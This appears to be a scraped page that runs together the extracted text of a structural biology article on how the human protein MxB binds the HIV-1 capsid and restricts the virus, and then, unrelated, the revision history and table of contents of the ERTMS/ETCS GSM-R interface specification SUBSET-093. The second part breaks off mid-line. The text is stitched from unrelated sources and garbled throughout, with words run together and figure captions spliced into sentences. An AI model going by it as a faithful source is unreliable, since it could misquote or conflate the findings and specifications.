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xiong yong--Structural Insight into HIV-1 Restriction by MxB

Cell Host&MicrobeArticleStructural Insight into HIV-1Restriction by MxBJennifer L.Fribourgh,1,5Henry C.Nguyen,1,5Kenneth A.Matreyek,2,5,6Frances Joan D.Alvarez,3Brady J.Summers,1 Tamaria G.Dewdney,2Christopher Aiken,4Peijun Zhang,3Alan Engelman,2,*and Yong Xiong1,*1Department of Molecular Biophysics and Biochemistry,Yale University,New Haven,CT06520,USA2Department of Cancer Immunology and AIDS,Dana-Farber Cancer Institute,Boston,MA02215,USA3Department of Structural Biology,University of Pittsburgh School of Medicine,Pittsburgh,PA15260,USA4Department of Pathology,Microbiology and Immunology,Vanderbilt University School of Medicine,Nashville,TN37232,USA5Co-ﬁrst author6Present address:Department of Genome Sciences,University of Washington,Seattle,WA98195,USA*Correspondence:alan_engelman@(A.E.),yong.xiong@(Y.X.)/10.1016/j.chom.2014.09.021SUMMARYThe myxovirus resistance(Mx)proteins are inter-feron-induced dynamin GTPases that can inhibit a variety of viruses.Recently,MxB,but not MxA,was shown to restrict HIV-1by an unknown mechanism that likely occurs in close proximity to the host cell nucleus and involves the viral capsid.Here,we pre-sent the crystal structure of MxB and reveal determi-nants involved in HIV-1restriction.MxB adopts an extended antiparallel dimer and dimerization,but not higher-ordered oligomerization,is critical for restriction.Although MxB is structurally similar to MxA,the orientation of individual domains differs be-tween MxA and MxB,and their antiviral functions rely on separate determinants,indicating distinct mecha-nisms for virus inhibition.Additionally,MxB directly binds the HIV-1capsid,and this interaction depends on dimerization and the N terminus of MxB as well as the assembled capsid lattice.These insights estab-lish a framework for understanding the mechanism by which MxB restricts HIV-1.INTRODUCTIONMyxovirus resistance protein2(MxB)is an interferon-induced in-hibitor of HIV-1infection(Goujon et al.,2013;Kane et al.,2013; Liu et al.,2013).MxB was traditionally thought to function in cell-cycle progression and regulation of nuclear import(King et al.,2004;Mele´n et al.,1996).This antiviral function occurs downstream of reverse transcription,decreasing the amount of integrated viral DNA(Liu et al.,2013)and2-long terminal repeat (2-LTR)circular DNA(Goujon et al.,2013;Kane et al.,2013)that marks translocation of the cytoplasmic reverse transcription complex into the nucleus.These results suggest that MxB in-hibits HIV-1nuclear import or destabilizes nuclear viral DNA (Goujon et al.,2013;Kane et al.,2013).MxB is highly homolo-gous in sequence(63%identity)to MxA,whose antiviral activ-ities are well established(Aebi et al.,1989;Hefti et al.,1999). MxA restricts both DNA and RNA viruses,including inﬂuenza A virus(Haller and Kochs,2011).It has been shown that MxA inter-feres with translocation of viral components between the cyto-plasm and the nucleus,potentially via binding to and causing mislocalization of viral nucleocapsid protein(Kochs and Haller, 1999a,1999b;Kochs et al.,2002b;Reichelt et al.,2004).Both MxB and MxA are guanosine triphosphatases(GTPases) that belong to the dynamin superfamily.Extensive structural, biochemical,and cellular studies have revealed the function of each MxA domain.The amino-terminal GTPase domain binds and hydrolyzes GTP,while a bundle signaling element(BSE) domain connects and transmits signals between the GTPase and the stalk domains(Gao et al.,2011).The stalk domain is crit-ical for oligomerization(Gao et al.,2010,2011;Haller et al.,2010; Kochs et al.,2002a).GTPase activity and oligomerization are critical for viral inhibition by MxA(Daumke et al.,2010;Di Paolo et al.,1999;Mele´n et al.,1992;Pavlovic et al.,1993;Schwemmle et al.,1995).Despite the similarity in sequence and architecture,MxB and MxA work against different viruses and appear to have different mechanisms of action.MxB restricts HIV-1,which is not among the diverse range of viruses inhibited by MxA.MxB(715amino acids)harbors a43residue N-terminal extension that contains a nuclear localization signal(NLS),which is critical for HIV-1re-striction(Kane et al.,2013;Mele´n et al.,1996).A shorter MxB iso-form that initiates from Met26lacks the NLS and therefore would not restrict HIV-1(Mele´n et al.,1996).The MxB N-terminal region also contains anti-HIV-1speciﬁcity determinants distinct from the NLS(Busnadiego et al.,2014;Goujon et al.,2014;K.A.M. et al.,unpublished data).Besides the N-terminal differences, MxB mutants that are unable to bind or hydrolyze GTP retain the ability to restrict HIV-1(Goujon et al.,2013;Kane et al., 2013),which is contrary to the GTPase-dependent restriction ac-tivity of MxA.Furthermore,instead of targeting the nucleocapsid protein like MxA,the antiviral activity of MxB involves the HIV-1 capsid protein(CA),as CA mutations can counteract restriction by MxB(Busnadiego et al.,2014;Goujon et al.,2014;Kane et al.,2013;Liu et al.,2013).Though HIV-1CA interacts with many cellular factors,including CypA,TRIM5a,CPSF6,and NUP153(Ambrose and Aiken,2014;Matreyek and Engelman, 2013),it remains to be determined if there is a direct interaction between MxB and CA,or if other cellular factors mediate the CA-dependent activity of MxB.In addition,it is unknown whether MxB functions by forming MxA-like higher order oligomers (Mele´n and Julkunen,1997).To provide insight into its mechanism of HIV-1restriction,we determined the crystal structure of MxB.The structure shows that MxB has a similar architecture to MxA but with differentdomain orientations.We further performed detailed mutagenesis studies that inform about the regions of MxB that are critical for HIV-1restriction.Our results reveal key differences between the antiviral activities of MxA and MxB,demonstrating that these closely related proteins have distinct mechanisms of action.Importantly,our study establishes that MxB binds directly to HIV-1capsid assemblies and indicates that direct engagement of the capsid lattice by the antiparallel MxB dimer is critical to antiviral function.RESULTSCrystal Structure of MxBTo investigate the structural basis for HIV-1restriction,we crys-tallized an N-terminal truncation of MxB.To improve the solution behavior of MxB,we deleted the ﬁrst 83amino acids,which are predicted to be unstructured,and introduced mutations into loop 2of the stalk domain (YRGK487-490AAAA),as similar changes improved the solution behavior of MxA (Gao et al.,2010,2011).This construct,MxB 84YRGK ,allowed for the puriﬁcation of mono-dispersed,dimeric protein that crystallized and diffracted X-raysto 3.2A˚resolution.We solved the structure by molecular replacement using MxA as a search model and reﬁned the struc-ture to R work /R free of 26.5%/29.9%with one MxB dimer in the asymmetric unit (Figure 1A).The detailed statistics are shown in Table 1.Two MxB protomers form an extended antiparallel dimer (Figure 1A).The GTPase and stalk domains are located at either end of the MxB protomer,bridged by the BSE domain that is composed of three helices originating from distinct re-gions of the primary amino acid sequence (Figure 1B).Residues 84–92,145–149,231–237,580–621,and 712–715are disor-dered in the structure.The structures of thecorrespondingFigure 1.Structure of MxB 84YRGK and Its Antiviral Activity(A)Structure of the MxB dimer shown in two orientations,with protomers 1and 2colored in purple and yellow,respectively.(B)Schematic (left)and structure (right)of an MxB protomer with residues of domain boundaries denoted and colored.The arrows in the schematic denote the ﬁrst and last visible residues in the structure.(C)Superposition of protomer 1and protomer 2in two views.(D)Cells expressing HA-tagged WT or MxB YRGK were analyzed for MxB expression.Total cellular proteins were extracted,resolved by SDS-PAGE,and visualized by western blotting with anti-HA antibody.WT MxB expression was set to 1.Results are the mean of threee independent experiments,with error bars denoting standard error.(E)Immunoﬂuorescent microscopy of untransduced or MxB-expressing cells.Blue,nuclear DNA.(F)Susceptibility of WT or MxB YRGK -expressing versus control (nontransduced)HOS cells to HIV-1(dark gray),EIAV (light gray),or FIV (striped gray)infection.Error bars denote 95%conﬁdence intervals derived from seven independent experiments.Cell Host &MicrobeStructural Insight into HIV-1Restriction by MxBdomains in the two protomers are nearly identical,with root-mean-square deviations (rmsd)ranging between 0.25and0.38A˚(Figure 1C).The overall rmsd of the two MxB protomers is 1.7A˚,which is substantially larger than that of the individual domains,indicating ﬂexibility at the linker regions connecting the domains.To characterize the physiological relevance of MxB 84YRGK ,we assessed the antiviral activities of wild-type (WT)and mutant MxB proteins.MxB was stably expressed with a C-terminal hemagglutinin (HA)tag to facilitate its immunodetection in hu-man osteosarcoma (HOS)cells,which were used previously to assess the mechanism of HIV-1restriction (Kane et al.,2013).In-dependent of stimulation by interferon (IFN)a ,HOS cells did not detectably express endogenous MxB protein (K.A.M.et al.,un-published data).Immunoﬂuorescent staining revealed that WT MxB formed cytoplasmic puncta and localized to the nuclear rim (Figure 1E),as described previously (Kane et al.,2013;King et al.,2004;Mele´n et al.,1996).Although the MxB 84YRGK construct is presumably inactive due to loss of the N-terminal NLS (Kane et al.,2013),we independently tested whether the YRGK487-490AAAA mutation affected the antiviral activity of full-length MxB.The mutant protein (MxB YRGK )was expressed to about 80%of the level of WT MxB (Figure 1D)and,in contrast to the punctate staining observed with the WT protein,MxB YRGK exhibited more diffuse staining within the cytoplasm (Fig-ure 1E).WT MxB restricted HIV-1infection about 10-fold without noticeably affecting the infectivity of equine infectious anemia virus (EIAV)or feline immunodeﬁciency virus (FIV)(Figure 1F).MxB YRGK also signiﬁcantly inhibited HIV-1infection ($6-fold).The mutant protein restricted EIAV infection by about 3-fold but remained inert against FIV.The gain-of-function against EIAV could be due to the altered pattern of MxB YRGK subcellular localization (Figure 1E).WT MxB,moreover,was reported in an independent study to restrict EIAV at a level similar to that observed here for MxB YRGK (Kane et al.,2013).In any case,the solubility-enhancing YRGK487-490AAAA mutations used for crystallographic studies did not signiﬁcantly alter the ability for MxB to restrict HIV-1.BSE Hinge Communication Is Not Required for HIV RestrictionAlthough the overall arrangement of individual protein domains is similar between the MxA and MxB structures,large differences in domain orientation are observed between the proteins (Fig-ure 2A).The individual domain structures of the two proteins are quite similar,with corresponding rmsd in the range of 0.8–1.1A˚,while the overall rmsd between MxA and MxB protomers is greater than 6.4A˚.The difference in domain orientations,pivoted around two hinge regions connecting the domains,is primarily responsible for the overall deviation between MxA and MxB (Figure 2A).We next tested the potential involvement of hinge communica-tion in MxB function.Residues at the ends of the BSE are thought to act as hinges that transfer signals between the GTPase and stalk domains in dynamin superfamily proteins (Gao et al.,2011;Prakash et al.,2000).We compared the structures and sequences of MxA and MxB and identiﬁed key residues in each of the two MxB hinges (Figure 2B).Hinge 1has two loops that connect the BSE to the stalk domain (residues 406–416and 679–684).The highly conserved residue R689on helix 3of the BSE contacts G408and D410on BSE loop 1.R689also in-teracts with the side chain of E681on BSE loop 2.Hinge 2pivots around P387,which causes a kink in the a helix connecting the GTPase domain and the BSE.MxB hinge mutants E681A and R689A were expressed in HOS cells at levels similar to the WT protein (Figures 2C and 2D)and signiﬁcantly inhibited HIV-1infection,by $10-fold and $5.5-fold,respectively (Figure 2E).The corresponding MxA mutations,E632A and R640A,reduced MxA oligomerization,GTPase activity,and antiviral activity (Gao et al.,2011).These observations indicate that anti-HIV-1activity is not dependent on the transfer of information from the GTPase domain to the stalk domain,which is consistent with data showing that MxB antiviral function is independent of GTPase activity (Goujon et al.,2013;Kane et al.,2013).Dimerization,but Not Higher-Order Oligomerization,of MxB Is Required for Antiviral ActivityMxB forms an antiparallel dimer with the dimer interface lying at the center of the two protomers.It is composed of residues on stalk helices 3and 4(Figure 3A).To be consistent with the MxA/dynamin convention,we refer to the dimer interface as interface 2(Figure 3A).The buried surface area at this interfaceis 1,074A˚2,with symmetric hydrophobic contacts between M567,L570,M574,and V578of each protomer with M567,L570,F647,and Y651of the other protomer.The dimer is further stabilized by hydrogen bonds between Q571of each protomer and Q644of the other protomer (Figure 3B).We testedtheTable 1.Data Collection and Reﬁnement Statistics Cell Host &MicrobeStructural Insight into HIV-1Restriction by MxBimportance of interface 2in MxB dimerization and found that an M574D mutation destabilized the dimerization interface.MxB 84YRGK eluted from a size-exclusion column at a volume that corresponds to the molecular weight of an extended dimer based on molecular weight standards.The M574D mutation decreased dimerization,as the majority of MxB 84YRGK/M574D eluted at a volume corresponding to the molecular weight of monomeric MxB (Figure 3C).This is consistent with the observa-tion that the corresponding residue in MxA is critical for MxA dimerization (Gao et al.,2010).We tested the requirement of MxB dimerization for its antiviral function.Interface 2mutants M574D,Y651D,and M567D/L570D were ineffective against HIV-1,each inhibiting infection 1.6-fold or less,which did not differ signiﬁcantly from EIAV or FIV (Fig-ure 3D).The dimerization state of MxB appears to affect its expression pattern,as the interface 2mutants were expressed at $30%–50%of the level of WT MxB (Figure 3E).The mutant proteins also exhibited drastically altered localization compared to WT MxB,as they stained throughout the cell,including prom-inent staining within the intranuclear space (Figure 3F).In a sepa-rate study,we determined that the MxB GTPase mutant T151A,which was expressed at $38%of WT MxB,displayed full restric-tion activity (K.A.M.et al.,unpublished data).Our ﬁndings accordingly indicate that dimerization plays an important role in MxB subcellular localization and is required for viral restriction.MxB dimers can form higher-order assemblies by interdigi-tating through the stalk and BSE regions as observed in MxA.This mode of higher-order oligomerization is formed through MxB crystal packing interactions (Figure 4A).Through this inter-action,MxB dimers may assemble to form ﬁlaments.The MxB dimer-dimer interface revealed in the crystal structure has aburied surface area of >2,500A˚2.Following the convention for MxA,we refer to the interface region at the beginning of stalk he-lices as interface 1.Interaction at this interface is critical for MxA function (Gao et al.,2010).Interface 1involves the stalks from one protomer of each interacting MxB dimer (designated proto-mer 1and protomer 10;the prime symbol denotes an adjacent dimer)(Figure 4A).The interactions at this interface includetheFigure 2.MxB Hinge Mutations Do Not Abolish Antiviral Activity(A)Superposition of MxA monomer (PDB ID:3SZR;red)and MxB protomer 1(purple),based on either GTPase domain (left)or stalk domain (right).(B)Zoomed-in view of BSE domain with hinges and key residues highlighted.(C–E)Cells expressing WT,E681A,or R689A mutant MxB were analyzed for (C)total expression,(D)subcellular localization,and (E)antiviral activity as described in Figure 1.Relative expression values are an average of at least three independent blotting experiments,with error bars denoting standard error.Infection values are the mean of ﬁve independent experiments,with error bars denoting 95%conﬁdence intervals.Cell Host &MicrobeStructural Insight into HIV-1Restriction by MxBsymmetric hydrophobic contacts of I423,M666,and L669in both stalks (Figure 4A).This is further stabilized by a hydrogen bond between E424of protomer 1and K663of protomer 10.To gain insight into higher-ordered oligomerization of MxB,we analyzed how mutations in these interfaces alter MxB’s olig-omerization state by cryoelectron microscopy (cryo-EM).An assortment of structural assemblies was observed by cryo-EM for the puriﬁed full-length WT MxB tagged with maltose-binding protein (MBP-MxB).Short ﬁlaments and circular structures were seen clustering together into aggregate assemblies (Figure 4B,left panel).Introduction of I423D/K663D/M666D mutations into the full-length MBP-MxB YRGK construct (MBP-MxB YRGK/IKM )improved the solution behavior and rendered the protein less prone to aggregation.Discrete particles of oligomers $30–40nm across were the majority among the structural assemblies observed for this interface mutant (Figure 4B,right panel).This observation is consistent with our results by size-exclusion chro-matography,where MBP-MxB YRGK/IKM,MBP-MxB IKM ,and MBP-MxB IK primarily eluted as soluble dimers (Figures 4C and 5E),while MBP-MxB migrated as a higher-order assembly or aggregate (Figure 4C).We tested the requirement of higher-order oligomerization for MxB antiviral function.Interface 1mutants I423D,K663D,M666D,and the I423D/K663D double mutant potently inhibited HIV-1infection (greater than 11-fold;Figure 4D).WT MxB andinterface 1mutants were expressed at similar levels as assessed by western blotting (Figure 4E)and displayed similar subcellular localization (Figure 4F).These results indicate that MxB oligomerization through interface 1is not critical for HIV-1restriction.MxB Directly Interacts with HIV-1Capsid Assemblies We initially probed MxB binding to HIV-1capsid using HOS cell lysates and recombinant A14C/E45C CA,which forms stable,crosslinked tubular assemblies (Pornillos et al.,2009).The CA assemblies are sufﬁciently large to pellet in an Eppendorf centri-fuge (Matreyek et al.,2013),and capsid-binding partners can be detected in a copelleting assay (Henning et al.,2014;Stremlau et al.,2006).MxB binding was quantiﬁed as the percent of input protein that copelleted in the presence of CA corrected for the level of protein that nonspeciﬁcally pelleted in control reactions that lacked CA.WT MxB-HA efﬁciently copelleted with CA as-semblies (Figure 5A;$45%of input protein recovered versus $8%nonspeciﬁc pelleting).MxB interface 1mutants K663D,I423D/K663D,and M666D also interacted efﬁciently with CA,yielding 27%,40%,and 26%binding speciﬁcity,respectively (Figure 5A).Hinge 1mutant E681A displayed reduced binding speciﬁcity compared to WT MxB (about 9.8%after background correction).Interface 2mutants M574D and Y651D were more defective,yielding binding speciﬁcity values of about2%Figure 3.The MxB Dimer Is Required for Antiviral Activity(A)Dimer of MxB (top)with zoomed-in view of dimer interface in surface representation (bottom).(B)Zoomed view of dimer interface with key residues shown as sticks.(C)Size-exclusion chromatography analysis of MxB 84YRGK (green),which elutes at a volume corresponding to a dimer,and MxB 84YRGK/M574D (cyan),a majority of which elutes at a volume corresponding to a monomer.Inset,SDS-PAGE of peak fractions corresponding to monomeric (lane 2of each set)and dimeric (lane 1)MxB.(D)Antiviral activities of WT and interface 2mutants of MxB.Activity assays are as described in Figure 1F.Results are an average of at least four independent experiments,with error bars denoting 95%conﬁdence intervals.(E)Total mutant MxB expression levels relative to WT MxB (set to 1).Results are an average of three independent experiments,with error bars denoting standard error.(F)WT and mutant MxB localization as determined by confocal microscopy following antibody staining.Cell Host &MicrobeStructural Insight into HIV-1Restriction by MxBand <0.1%,respectively.To assess the relevance of MxB-CA binding to restriction of HIV-1infection,the two parameters were correlated by scatterplot analysis.The resulting negative correlation yielded a Spearman rank correlation coefﬁcient p value of 0.028(Figure 5B),indicating that the interaction between MxB and CA plays a role in restriction of HIV-1infection.To evaluate if MxB interacts directly with capsid,binding as-says were performed using recombinant MxB protein puriﬁed from E.coli .The crystallization construct (MxB 84YRGK )and full-length mutant MBP-MxB YRGK/IKM proteins were used in these experiments to ameliorate the aggregation tendency of the wild-type protein.As before,binding speciﬁcity was assessed by correcting for the level of pelleted MxB in control reactions that lacked CA.Approximately 25%of MBP-MxB YRGK/IKM cosedimented with CA after background (pelleted MxB without CA)correction (Figure 5C).Although the comparison of this result to the binding of WT MxB-HA in cell extracts should be approached with a note of caution,the results nevertheless indicate that cellular cofactors are not required for the binding between MxB and HIV-1CA.In contrast,only $9%of MxB 84YRGK cosedimented with CA (Figure 5C).Although this level of residual binding was signiﬁcantly greater thantheFigure 4.Higher-Order Oligomerization of MxB Is Not Required for Antiviral Activity(A)Two adjacent MxB dimers representing formation of higher-order oligomers in two views (left)and a zoomed-in view of higher-order interface 1(right).Protomer 1and 2of one dimer are colored as in Figure 3while protomer 10and 20are colored in dark gray and light gray,respectively.Important interface residues are shown in sticks.(B)Cryo-EM images of full-length MBP-MxB WT (6m M)and the interface mutant MBP-MxB YRGK/IKM (3m M).Short ﬁlaments (marked by arrows)and circular structures (marked by triangles)are seen for WT MBP-MxB.(C)Size-exclusion chromatography analysis of MBP-MxB 1-715(green),which elutes close to the void volume,and MBP-MxB 1-715IK/DD (red)and MBP-MxB 1-715IKM/DDD (blue),which elute at volumes corresponding to dimers.Inset,SDS-PAGE of peak fractions.(D)Antiviral activities of WT and MxB interface 1mutants.Results are an average of at least four independent experiments,with error bars denoting 95%conﬁdence intervals.(E)Total mutant MxB expression levels relative to WT MxB (set to 1).Results are an average of at least three independent experiments,with error bars denoting standard error.(F)WT and mutant MxB localization as determined by confocal microscopy.Cell Host &MicrobeStructural Insight into HIV-1Restriction by MxBbackground control,signiﬁcantly less MxB 84YRGK as compared to full-length MBP-MxB YRGK/IKM copelleted with CA (p =0.002).These data provide evidence of a direct interaction be-tween MxB and HIV-1capsid and indicate that the ﬁrst 84residues of MxB contribute to the interaction.This is consistent with the previously published results showing the MxB N termi-nus is critical for HIV-1restriction (Busnadiego et al.,2014;Gou-jon et al.,2014;K.A.M.et al.,unpublished data).At this point we can only infer that the dimer is the basic CA binding unit of MxB;multiple attempts to purify recombinant dimerization mu-tants such as M574D failed to yield soluble protein for bindingstudies.Figure 5.Interactions with Capsid Assemblies by WT and Mutant MxB Proteins(A)Cell extracts containing HA-tagged MxB were tested for binding to crosslinked CA tubular assemblies.Pelleted proteins resolved by SDS-PAGE were visualized by western blotting (MxB)or stained with Coomassie blue (CA).Results are an average of ﬁve independent experiments with standard errors ne indicators above the representative western blot:i,20%of input cell lysate in absence of CA;À,pellets from binding reactions in the absence of CA;+,reactions in the presence of ne 1of lower panel,20%of input CA.(B)Scatterplot of WT and mutant MxB-HA binding (x axis)versus normalized level of HIV-1infectivity (y axis).Points denote the geometric mean of each data set.The comparison exhibited a negative correlation with a signiﬁcant Spearman rank correlation (p =0.028).(C)Binding of puriﬁed MxB (with or without CypA or CPSF6313-327),maltose binding protein (MBP)(negative control),or a region of TRIMCyp (CC-Cyp)(positive control)to crosslinked CA assemblies.Total (T),soluble (S),and pellet (P)fractions resolved by SDS-PAGE were visualized with Coomassie staining and quantiﬁed with ImageJ.Three CA variants were analyzed for binding:A14C/E45C (CA),A14C/E45C/G89V (G89V),and A14C/E45C/N74D (N74D).Quantiﬁcation of the binding,with standard errors,from three independent experiments is plotted below the gels.p values from two-sided,unequal variance t tests are shown for the pelleting comparison for each MxB construct with or without CA.(D)Visualization of the interaction of MxB constructs with HIV-1CA tubes.Cryo-EM images of reaction mixtures containing crosslinked CA assemblies (10m M)and MBP-MxB 1-715YRGK/IKM (5m M)or MBP-MxB 84-715YRGK/IKM (5m M)shows additional protein density decorating the tubes (middle and right panels)that is not observed in the control tubes without MxB (left).Substantially more decoration of the CA tubes occurs with the full-length MxB construct (middle)than with the N-terminal truncation construct (right).(E)Size-exclusion chromatograms of puriﬁed MBP-MxB YRGK/IKM (blue),crosslinked CA hexamers (red),and their mixture (green).CA hexamers and MBP-MxB YRGK/IKM do not bind,as the elution proﬁle of the mixture is the exact superposition of the individual ones.The SDS-PAGE analysis of the peaks (labeled 1,2,and 3)is shown.Cell Host &MicrobeStructural Insight into HIV-1Restriction by MxBAs certain CA mutations abolish MxB restriction of HIV-1,we investigated whether some of these(G89V and N74D)alter MxB’s ability to bind HIV-1CA assemblies in vitro.The G89V mutation abolishes CypA binding(Schaller et al.,2011)and elim-inates MxB restriction of HIV-1(Kane et al.,2013).The N74D mutation abolishes CA binding to the capsid cofactor CPSF6 (Lee et al.,2010;Price et al.,2012)and reduces but does not eliminate MxB’s ability to restrict HIV-1(Kane et al.,2013).Inter-estingly,neither of the two mutations reduced MxB binding to the CA assemblies in our assay(Figure5C).These results show that these functionally important CA residues are not required for MxB binding.To further probe the involvement of these CA residues in MxB binding,we tested whether the presence of CypA or a capsid-binding peptide of CPSF6(CPSF6313-327)altered the ability of MBP-MxB YRGK/IKM to bind CA.Our results show MBP-MxB YRGK/IKM binds to CA with similar afﬁnity in the presence or absence of these two CA-binding partners(Figure5C).Because we could not saturate the tubes with CypA and were uncertain if the CPSF6313-327peptide occupies all available binding sites,it is not clear whether the binding events are mutually exclusive. However,as we did not see an increase in pelleted MBP-MxB YRGK/IKM in the presence of CypA or CPSF6313-327,these factors do not appear to enhance MxB binding.The interaction between MBP-MxB YRGK/IKM or MBP-MxB84-715YRGK/IKM and CA assemblies was additionally analyzed by cryo-EM(Figure5D).Inspection of the cryo-EM images of the reaction mixtures shows distinct protein densities decorating the CA tubes that are only seen in the presence of the MxB constructs(Figure5D).As expected,the decoration of CA tubes by MBP-MxB YRGK/IKM was much more pronounced than for MBP-MxB84-715YRGK/IKM,conﬁrming both direct protein binding and the importance of the MxB N terminus in this interaction.To probe the oligomeric state of CA required for MxB binding, we analyzed the ability of MxB to bind soluble CA hexamers. We incubated puriﬁed MBP-MxB YRGK/IKM with crosslinked CA hexamers and examined their interaction using size-exclusion chromatography.No interaction was detected between the two as MBP-MxB YRGK/IKM and CA hexamers eluted from the size-exclusion column as two distinct peaks at positions corre-sponding to those of the individual components(Figure5E). This result,together with those from the copelleting and cryo-EM assays,suggests that MxB does not have appreciable afﬁn-ity for single CA hexamers but binds to capsid assemblies, implying that MxB may function as a capsid pattern sensor that only recognizes the assembled CA lattice.DISCUSSIONMxB is a recently identiﬁed HIV-1restriction factor whose mode of inhibition is incompletely understood.The research presented herein establishes a structural and biochemical framework for understanding the mechanism by which MxB restricts HIV-1. Our results reveal characteristics of MxB that are required for its antiviral activity,uncover separate determinants for the func-tions of MxB and the homologous MxA,and,importantly, demonstrate a direct interaction between MxB and HIV-1CA that requires higher-order capsid assembly.These results pro-vide important insight into how MxB may bind viral capsid and interfere with capsid uncoating-related processes to inhibit HIV-1.The structure and sequence of MxB and MxA are similar,but the two proteins have different antiviral characteristics.These proteins are dimers in solution,and our data show that,like MxA,the dimerization of MxB is required for viral restriction. Contrary to MxA’s mode of restriction that requires further multi-merization,higher-order oligomerization of MxB is not critical for HIV-1restriction.Mutation of residues at the higher-order inter-face1did not alter MxB activity(Figure4D),while altering the corresponding residues on MxA abolished its restriction ability (Gao et al.,2010).This difference may be related to the presence of a NLS in MxB.The NLS-mediated localization of MxB to the nuclear envelope may increase its local concentration at the nu-clear pore,which may mitigate the need for higher-order oligo-mers to exert its antiviral effects.In addition,we show that conformational coupling between the GTPase and the stalk domain,which is important for regulation of GTPase activity and antiviral function of MxA,is not necessary in MxB(Figure2E). Our identiﬁcation of MxB as a direct HIV-1capsid-binding pro-tein substantially advances our understanding of the mechanism of HIV-1restriction by MxB.Our data demonstrate that interac-tion between MxB and CA is dependent on theﬁrst83residues of MxB and does not require other host factors(Figure5).It has been well established that the N-terminal residues of MxB are critical for its anti-HIV-1activity(Busnadiego et al.,2014;Goujon et al.,2014).This is partially attributed to the required nuclear localization of MxB(Kane et al.,2013;K.A.M.et al.,unpublished data).Our results now show the N terminus of MxB is also critical for its interaction with HIV-1CA.This is consistent with the recent report that the N-terminal domain of MxB(91amino acids), which includes residues downstream from the NLS,confers HIV-1restriction to MxA(Goujon et al.,2014).These results sug-gest that the direct engagement between MxB and capsid is an important step in the restriction of HIV-1by MxB.During the review of this work,Fricke et al.reported that ectopically expressed MxB binds higher-order capsid assem-blies in vitro and that MxB decreases the extent of HIV-1capsid uncoating during infection(Fricke et al.,2014).These results agree with ourﬁnding that a direct interaction occurs between MxB and capsid.In contrast,Fricke et al.concluded that multi-merization of MxB is important for the interaction with the HIV-1core.Our crystal structure shows that the reported truncation mutations(D572–715and D623–715)removed the majority of the stalk domain that is central to MxB dimer formation,and the reported point mutation(L661K)seems likely to disrupt MxB folding because it is located within the hydrophobic core of the stalk.The reported multimerization-disrupting mutations therefore likely disrupted MxB dimerization,which is consistent with the importance of dimerization revealed in our study.Our structural and binding studies provide important insight into an HIV-1capsid recognition.We observe binding of MxB to capsid assemblies,but not individual CA hexamers(Figure5). This suggests that MxB,like TRIM5restriction factors,is a capsid pattern sensor that recognizes higher-order CA assemblies(Per-tel et al.,2011).This is further supported by data showing that CA residues207,208,and210,which are near the trimeric interface of CA hexamers,are critical for MxB restriction(BusnadiegoCell Host&Microbe Structural Insight into HIV-1Restriction by MxB。

GSMR接口需求规范

ERTMS/ETCS – Class 1GSM-R InterfacesClass 1 RequirementsREF : SUBSET-093ISSUE : 2.3.0DATE : 10-Oct-2005Company Technical Approval Management approval ALCATELALSTOMANSALDO SIGNALBOMBARDIERINVENSYS RAILSIEMENS1. M ODIFICATION H ISTORYIssue NumberDateSection Number Modification / Description Author0.1.0 (8-Aug-02) Creation based on subset052LK0.1.1 (8-Aug-02) All Minor editorial changes LK0.1.1ec All englishcheck JH0.2.0 (9-Sep-02) 3., 4.2, 4.1, 6.3, 7.2,8.2 Updated after email discussionLK0.3.0 (24-Oct-02) All Updated after FlorencemeetingLK+TS0.4.0 (14-Nov-02) All Updated after LondonmeetingLK0.5.0 (5-Dec-02) 4.2, 5.6.1, 6.2, 7.1,7.3, 9.2 Updated after Berlin meetingLK0.6.0 (12-Dec-02) 3., 6.3., 10.4.3 Email comments included TS+LK2.0.0 (12-Dec-02) Erroneous versionnumber 2.2.0correctedFinal issue LK2.1.0 (28-March-03)3.1.1.1, 6.3.1.3,7.1.1.1, 8.1.1.1 Update acc. to super group commentsLK2.2.0 (28-March-03) - Final version LK2.2.2.31-03-03 Versionnumberchangedfor release to the usersGroupWLH2.2.3 (12-June-03) All Update after Brussels mtg.and GSM-R Op. grp.commentsLK2.2.4 (26-June-03) editorial Draft release to UsersGroupJH2.2.5 - FormalreleaseJH 2.2.5.1 4.2, 6.2, 6.3, new 6.4 Update after Paris mtg. andGSM-R Op. grp. commentsLK2.2.5.2 Various update after further GSM-ROp grp reviewJH2.2.5.3 cleanversion JH 2.2.5.4 6.4 Updated after further GSM-R Op grp requestRB2.2.6 CleanversionRB2.2.6 revA (31-Jan-05) 4.2, 6.3, 6.4, Annex A Proposal for QoS parametervaluesLK2.2.6 revB (14-Feb-05) 6.3, 6.4, Annex A Updated after QoSmeeting#6 BrusselsLK2.2.6 revC (24-Feb-05) 6.3, 6.4, Annex A,Annex B added Updated during BerlinmeetingLK2.2.6 revD (25-Feb-05) 6.2, 6.3.5, 10.3, 10.5.2 Email comments inserted LK2.2.6 revE (6-Apr-05)3.1., 3.2,4.1,5.1,6.3,10.1, 10.3, 10.5, 10.7 Updated after QoSmeeting#7 BrusselsLK2.2.6 revF (25-Apr-05)3.1,4.1,5.1,6.3, 6.4,10.1, 10.3, 10.5, 10.6,10.7Edinburgh meeting TS+LK2.2.6revG (20-May-05)3.1, 5.1, 6.3, 6.4, 8.2 Changes according toBrussels meetingLK2.2.6revH (1-Sep-05) 4.1, 5.1, 6.3, 6.4, 7.2,10.3, 10.4, 10.5 Comments from SG andEEIGLK2.2.6revI (8-Sep-05) 5.1, 6.3, 6.4, 10.4 Zürich meeting PL+LK 2.3.0 (10-Oct-05) update for issue JH2. T ABLE OF C ONTENTS1.M ODIFICATION H ISTORY (2)2.T ABLE OF C ONTENTS (4)3.R EFERENCES (6)3.1Normative Documents (6)3.2Informative Documents (7)4.T ERMS AND DEFINITIONS (8)4.1Abbreviations (8)4.2Definitions (9)5.G ENERAL (10)5.1Scope of this document (10)5.2Introduction (10)6.E ND-TO-END SERVICE REQUIREMENTS TO GSM-R NETWORKS (12)6.1Data bearer service requirements (12)6.2Additional services (12)6.3Quality of Service requirements (13)6.3.1General (13)6.3.2Connection establishment delay (14)6.3.3Connection establishment error ratio (14)6.3.4Transfer delay (15)6.3.5Connection loss rate (15)6.3.6Transmission interference (15)6.3.7GSM-R network registration delay (16)6.4Summary of QoS requirements (16)7.R EQUIREMENTS TO FIXED NETWORK INTERFACE (17)7.1Foreword (17)7.2Interface definition (17)7.3Communication signalling procedures (17)8.R EQUIREMENTS TO MOBILE NETWORK INTERFACE (18)8.1Foreword (18)8.2Interface definition (18)9.A NNEX A(I NFORMATIVE) TRANSMISSION INTERFERENCE AND RECOVERY (19)9.1General (19)9.2Transmission interference in relation to HDLC (19)10.A NNEX B(INFORMATIVE)J 